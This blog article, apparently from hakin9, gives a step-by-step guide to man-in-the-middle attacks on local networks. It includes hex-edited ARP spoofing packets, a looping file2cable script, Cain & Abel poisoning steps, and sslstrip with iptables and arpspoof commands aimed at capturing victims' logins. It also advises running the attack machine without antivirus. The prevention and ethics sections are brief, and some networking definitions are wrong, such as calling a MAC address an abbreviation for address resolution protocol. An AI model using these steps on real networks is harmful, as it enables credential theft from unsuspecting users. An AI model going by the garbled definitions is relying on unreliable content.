Dangers of Man in the middle attacks to modern life

Overview

In hakin9.org May release, I have wrote more on the number of ways of performing MITM and also how to steal information from a SSL channel. Read more to the content and enjoy the journey.

Dangers of Man in the middle attacks to modern life

In modern times, we have been exposed through the use of any of the computers, smart phones or any device which are all connected in a consolidates network. When we term the word network, it means that we can communicate with the other party by sending information through the cables or even in the air.

Introduction

Man in the middle attacks allow those of evil intent to gather information without the knowledge of either communicating party. If done properly, there is little to no sign of the attack, and because of that fact, additional weaknesses are exposed (think recovered usernames and passwords).

But of course, in order to have those communications to be transmitted over the network between different equipment there must be a standard or a certain framework. The model was known as Open Systems Interconnection (OSI) model is a reference model developed by ISO (International Organization for Standardization) in 1984.

The Open Systems Interconnection (OSI) model involves a communication process which have been divided into 7 layers, which divides the tasks involved with moving information between networked computers into seven smaller, more manageable task groups.

In nut shell, the Layers 7 through 4 deal with end to end communications between data source and destinations. Layers 3 to 1 deal with communications between network devices

Explanation of 7 layer OSI in-short

Layer 1: Physical layer

Physical layer defines the cable or physical medium itself.

Layer 2 : Data link

LinkData Link layer defines the format of data on the network. A network data frame, aka packet, includes checksum, source and destination address, and data such as MAC.

Layer 3 : Network

IP is responsible for routing, directing datagrams from one network to another.

Layer 4 : Transport

Transmission Control Protocol (TCP) and User Datagram Protocol (UDP), sits at the transport layer.

Layer 5 : Session

The session protocol defines the format of the data sent over the connections and have a mechanism for opening, closing and managing a session between end-user application processes.

Layer 6 : Presentation

The canonical uses a standard byte ordering and structure packing convention, independent of the host delivery and formatting of information to the application layer for further processing or display.

Layer 7 : Application

Application running on server such as http, email and etc.

Why should we care?

At the beginning, we have talk about espionage and now we talk about 7 layer OSI, what it have to do with the risk?.  From my point of view, they will be another layer which is layer 8 which it is reflect back to the end users.  Layer 8 doesn’t exist in any OSI layer, but however in my opinion it should be part of it. Without any user interaction on some cases, how should we expect the data to be transmitted over?.

Human always become the bottleneck in the security arena, as because human does mistake and this is where the problem is. Let me give you an example, if you are working in corporate organization, I am pretty sure you are well protected in a very secure network environment. But do you think that would be chances for these users to use his or her laptop to access internet in other public network such as in airport, internet café and etc?. Although the likelihood is low, but do you think it would have chances to happen?

What is Mac address?

Short for address resolution protocol, a network layer protocol use to convert an IP address into a physical address which will have the format of MM:MM:MM:SS:SS:SS. The address is unique to each of the computer hardware. It has 12 digit of hexadecimal numbers and 48 bits in length. The first half of the address represents the adapter manufacture. As for the example 00:A0:C9:11:22:33, the first prefix which is 00:A0:C9 it indicates the manufacture is from Intel Corporation.

What have bring my interest in this area would be the security issue when you are running on a flat lan environment. I will explain detail on this article. Let get started by how Microsoft assign the pool when the Hyper-V is installed. The MAC address is divided into 2 part, the first part would be as highlight in color which I have explain earlier. You can have a look into detail as in figure 1.

00:15:5D:1A:2B:00
 

The blue portion is Microsoft OEM , but have you ever think where the red portion coming from? Let me explain to you, let said your IP address of the Hyper-V is 10.208.26.43 , the second IP number which it is 26.43 you will need to convert from dec to Hex which you will get 1A:2B. 

So each time when you deploy the Hyper-V host the MAC address won't be duplicated. So you will the range of MAC address pool will have something like as below. FF when you convert it from HEX to DEC you will get 255.

00:15:5D:1A:2B:00 to 00:15:5D:1A:2B:FF.

Figure 1 : registry location to show the mac address pool

Where the risk, I don’t get it?

This is where the challenge come in to the picture, now as the perpetrator is getting intelligent day by using the free tools available in the internet, they can launch a Man in the Middle attack which is also known as MITM.

What it really does, it impersonate someone in the network and become a middle man of transmitting information from source to the destination. By using this way, it also can become a denial of service. I will explain in more detail as we go along on the technical on how to.

Principle of ARP Spoofing

To summarize, arp spoofing can be term as man in the middle attack or a DDOS attack as it will send a not existence MAC in the network. The diagram below will give you some idea of it.

To give you more an understanding on the packet, I decide to capture the info on my lab and it consists of different step and stage.

Man In The Middle by the hard way

Stage 1: Collecting Packet information

1)The tools we use on this lab is wireshark, you can download the tools from the following Wireshark Download Page.

2)After you have perform the installation run the wireshark tools as in figure 2.

Figure 2: Running wireshark

3)Configure the interface for capturing packet as on figure 3.

Figure 3: Configure interface

4)As per on screen, you will need to check on Capture packet in promiscuous mode which mean in the sniffing mode

Figure 4: Capture packet in promiscuous mode

5)After you have completed all the setting, click the start button and you will see some packet have been capture.

6)You should be getting some packet as below, this would be our interest for our next step as in figure 5.

Figure 5: Result of info collection

Stage 2 : Analysis of the packet

1.   This is the sample of the right content of the files.

2.   Export the selected packet to /tmp/script/arp

3.   Edit the files by typing this command (hexedit –b /tmp/script/arp)

Info                          Remark

Destination                     00 50 56 F4  78 89 (GW) @192.168.18.2

Target Ip add                  C0 A8   12 02  (GW) @ 192.168.18.2                   

Source                             00 0C   29 F1 EF DB  (Hacker) @ 192.168.18.139

Sender IP                        C0 A8 12 8B   (Hacker) @ 192.168.18.139

Victim                              00 0C 29 13 80 DD  @ 192.168.18.130

Victim IP                         C0 A8   12 82  (GW) @ 192.168.18.130                   

00000000  00 0C 29 F1  EF DB 00 50   56 F4 78 89  08 06 00 01   ..)....PV.x.....

00000010  08 00 06 04  00 02 00 50   56 F4 78 89  C0 A8 12 02   .......PV.x.....

00000020  00 0C 29 F1  EF DB C0 A8   12 8B 00 00  00 00 00 00   ..).............

00000030  00 00 00 00  00 00 00 00   00 00 00 00                ............

Stage 3: Modify Packet

1.   Start modify the victim packet

2.   hexedit –b  arp-victim

3.   replace hacker mac address with viticm mac  address

4.   replace gateway mac address with hacker mac address

Before changing the packet

00000000  00 0C 29 F1  EF DB 00 50   56 F4 78 89  08 06 00 01   ..)....PV.x.....

00000010  08 00 06 04  00 02 00 50   56 F4 78 89  C0 A8 12 02   .......PV.x.....

00000020  00 0C 29 F1  EF DB C0 A8   12 8B 00 00  00 00 00 00   ..).............

00000030  00 00 00 00  00 00 00 00   00 00 00 00                ............

After Changing the packet

00000000 00 0C 29 13 80 DD 00 0C 29 F1  EF DB  08 06 00 01   ..)....PV.x.....

00000010  08 00 06 04  00 02 00 0C 29 F1  EF DB  C0 A8 12 02   .......PV.x.....

00000020  00 0C 29 13 80 DD C0 A8   12 82 00 00  00 00 00 00   ..).............

00000030  00 00 00 00  00 00 00 00   00 00 00 00                ............

5.   Save the files as arp-victim and sent the files to the victim

6.   file2cable -v -i eth0 -f arp-victim

Summary on what have been modified

Before packet been modified

Hacker Mac	Gateway Mac	X
X	Gateway Mac	Gateway IP address
Hacker Mac	Hacker IP	x

After packet been modified

Victim Mac	Hacker Mac	x
x	Hacker Mac	Gateway Ip address
Victim Mac	Victim Ip address	x

Stage 4: Modify Gateway packet

1.   Cp arp-victim arp-gateway

2.   Hexedit –b arp-gateway

Before Changing the packet

00000000 00 0C 29 13 80 DD 00 0C 29 F1  EF DB  08 06 00 01   ..)....PV.x.....

00000010  08 00 06 04  00 02 00 0C 29 F1  EF DB  C0 A8 12 02   .......PV.x.....

00000020  00 0C 29 13 80 DD C0 A8   12 82 00 00  00 00 00 00   ..).............

00000030  00 00 00 00  00 00 00 00   00 00 00 00                ............

After Changing the packet

00000000 00 50 56 F4  78 89 00 0C 29 F1  EF DB  08 06 00 01   ..)....PV.x.....

00000010  08 00 06 04  00 02 00 0C 29 F1  EF DB  C0 A8 12 82   .......PV.x.....

00000020  00 50 56 F4  78 89 C0 A8   12 02 00 00  00 00 00 00   ..).............

00000030  00 00 00 00  00 00 00 00   00 00 00 00                ............

Stage 5: Enable IP forwarding

1.   As explain earlier, if we don’t have this step been configure on stage 5. The attack it self till stage 4 will become denial of service. But of course you don’t want those to happen, because your intention is to collect information.

2.   What you need to do next is to Enable IP forwarding on the backtrack it self. In layman term , it mean enable routing function on the machines so that the packet can be transmitted.

Echo 1 > /proc/sys/net/ipv4/ip_forward

Nano doarp.sh

Chmod 700 doarp.sh

#!/bin/bash

While [ 1 ];do

File2cable –I eth0 –f arp-victim

File2cable –I eth0 –f arp-gateway

Sleep 2

Done

Summary on what have been modifed

Before packet been modified

Victim Mac	Hacker Mac	x
x	Hacker Mac	Gateway Ip address
Victim Mac	Victim IP	x

After packet been modified

Gateway Mac	Hacker Mac	x
x	Hacker Mac	Victim Ip address
Gateway  Mac	Gateway IP	x

Stage 6: Wait & monitor

These would be the last step, what you need to do is to monitor your wireshark and see for any potential any login ID with password. But if the users are using any encrypted channel, you won’t be able to see the content.

Man In The Middle new trend

After you have started looking at the hard way of the MITM, do you think you will use it?. The effort to do it, was quite a lot and mistake could happen. The chances of success might be low. The reality is, this is how people do it, long time ago.

Practically no one will do the hard way, but it is good to understand in depth how arp spoof really works. The soft way I would be mentioning here will be 2 types, one is more toward on windows environments and another will be toward on linux environment. I would pick the most common target that perpetrator will do in order to get the information they want, and from there you can explore more detail to it.

Building a MITM attacker machine on Windows

I think most of all the users are on windows, and they are more comfortable to use windows as the machines to perform an attack. To built such as machine they are certain thing that you must know. The first is , don’t ever install any antivirus in your machine. As the antivirus will remove those files. 2^nd don’t ever use that machine to surf internet to avoid any potential viruses on the machine. While on the 3th comment will be which OS is the prefer option. As mostly software run pretty well on Windows Xp and this is recommended to be used. 

But you must take note as well, the OS is soon going to reach the end of life.

Since we are just focusing on the man in the middle attack, the favorite tools to be used is Cain & Able. If you read on the bible, you will notice the name is the 2 son of Adams & Eve. But today, I am not asking you to read the bible, but I am going to explain about the tools.

The tools has been developed in the hope that it will be useful for network administrators, teachers, security consultants/professionals, forensic staff, security software vendors, professional penetration tester and everyone else that plans to use it for ethical reasons. But of the time, the tools have been use for crime.

The tools can do a lot of damage which include the following:

1.   WEP cracking

2.   Speeding up packet capture speed by wireless packet injection

3.   Ability to record VoIP conversations

4.   Decoding scrambled passwords

5.   Calculating hashes

6.   Traceroute

7.   Revealing password boxes

8.   Uncovering cached passwords

9.   Dumping protected storage passwords

10.        ARP spoofing

11.        IP to MAC Address resolver

12.        Network Password Sniffer

Let’s get started

As per on the figure 6, this is how the cain and able look like, the GUI is user friendly and you can have all the information required in just of a few clicks.

Figure 6: Cain & Able

The first thing you must do is to identify your ip address by typing ipconfig /all in your command prompt.

The next steps is to click on the icon to activate Cain & Abel, click ARP, start sniffing, sniffing tab, scan the MAC addresses on the entire network.

Wait sniffing process is complete, click the ARP tab on the bottom, click the "+" sign to add it to the new window will pop up consists of two columns, "now is the time to hack" click IP server in the left column and click the IP address of the victim on the right, do it repeatedly against all targets. But in most cases, we will target all as we don’t know the machine is belong to who. Remember don’t run this on your production environment as it could do a lot of damages.

What would happen in the background is, the tools will start to run a poisoning attack on the victim IP address. If during that time, the users are surfing internet via http or any. You would be able to see it on the password tab. I am not against this tools, but however if the users is visiting some https website, the users will get a prompt whether they want to continue on the website. Chances of the users clicking on continue on the website is high, but then again, I believe we could do better. The tools also generate a certificate on behalf of the real origin website, but why the users still get a prompt?. This is because the certificate have a different thumbprint information. If in your corporate organization, if you are using some sort of proxy with certificate and if you have trusted the proxy certificate, that have shown your user ID have been capture. So take notes on this too.

Building a MITM attacker machine on linux

The approach of doing it, will be almost the same as for windows, but of course in linux you suppose to expect more text than GUI. There are 2 approach we can do here, the first approach will be semi auto and the last approach will be fully automatic.

The first approach you still need to have some manual work such as configuring the machine to route the traffic, some firewall rules and reading the logs. I will explain why this is not a good approach as we go into detail.

To enable the routing function we must change some value in the /proc as below :

echo 1 > /proc/sys/net/ipv4/ip_forward

Next step is to configure all incoming request to be diverted, you can use any destination port that you would like to use

iptables -t nat -A  PREROUTING  -p TCP -- destination-port 80 -j REDIRECT –to-port 12345

Now this is where the real work start, you will need to use the terminal and

cd to /pentest/web/sslstrip as we need to run some python script from there.

To view all the available option in the command you can type the following command.

Python ssltrip.ph --help

Options:

 -w Specify file to log on

-p log only SSL port

-S log all ssl and http traffic to and from server

-l port to listen on

-f substitute a lock favicon

-k kill session in progress

-h print help message

To start the command, you would need to run the command as below :

python sslstrip.py -l 12345

Now we need to start the MITM process, if you did see the process is getting simpler and easy. From the manual way of changing the value till we have a command that does the spoofing for us.

arpspoof -i eth0 -t Victim_IP Gateway_IP

Once the client start to surf internet, all the logs will be capture in sslstrip.log. You can view the real time changes by using the tail command as shown in below:

tail -f sslstrip.log

In reality, this will work in a smaller environment, as if there is too much user is visiting the website, you might want to use other command such as grep or print  command to capture the info that you would like to see.

What would be the next evolution for it?

As you have read on the different steps, either on the manual way, on windows machines or even on linux. Do you notice that the tools is getting intelligent as the time comes. The steps that I would like to show above is fully automated and thanks to the developer who create this tools. Then again, from the security stand point, you can’t differentiate what is real and fake anymore cybercrime would be expected to be increases.

The tools is known as yamas which is available as download from comax.fr/yamas.php . Yamas is a tool that aims at facilitating man in the middle attacks by automating the whole process from setting up ip forwarding and modifying iptables, to the ARP cache poisoning (either using ettercap or arpspoof). The traffic is stripped off ssl with the famous sslstrip 0.9.

What you need to do it is just run the command yamas and wait for the result. When you first run the command, it will ask where should the traffic should be diverted to which shown as below. Select the default and press enter.

what port should the traffic be redirect to? (Default = 8080)

The second screen you will see is to enter the gateway IP, by default it will automatic detect the range for you. Press enter to proceed.

Enter Ip gateway address or press enter to use x.x.x.x

After that you will be prompt to select the interface. Press enter to use the default value.

what interface would you like to use . It should match IP gateway as shown above

As by default, we will target the entire network, so will just press enter.

We will target the whole network as default, press 0 for manual

What next here is just wait and all the credential will be populated on your screen.

Prevention

As you have read all the steps, it might be look difficult to protect from layer 2 attack. But some of the vendor product does provide  protection against the attack such as CISCO which sometime they name it as dynamic ARP. You must be aware that not all location can afford to have a prevention devices in place such as public network. This is why security awareness should be in place to guide the user what they are allow to do when they are on the public network. There are no such thing as patches for human, they need to be educated.

Note on ethics

Our intention, when we started writing these articles was to give an overview what tools exists on the market and how we can use it to secure our organization against any unidentified threats. When you start to use the tools above, please do make sure you have this with you:

1.   Don’t use this for any malicious intention

2.   Don’t attack any organization without any approval from the top management.

3.   Think of the damage that you might cause

Conclusion

In this article, we have presented on how to perform a man in the middle attack on linux as well as on windows machine. We have shown the trick of hiding in the network while we are performing intelligent information gathering. The author also shows you a common attack that commonly done by the attacker and to show how fast they could obtain information in the stealth way. As you can see, the growing of the tools can help anyone to be a security pen tester, while if it is been used in a wrong hands it could bring more damage than good. Such attack is much easier to perform and more likely to succeed. The author sincerely hopes that these short articles can increase the awareness to anyone who is handling computer or security services. In the broader sense however, we hope that the information could help you to increase the security your organization assets in better manner.

Summary 

Stay tune with my next articles. Let us know what you though , learns and hope for next articles!. Connect with us on GOOGLE+ , TWITTER and FACEBOOK.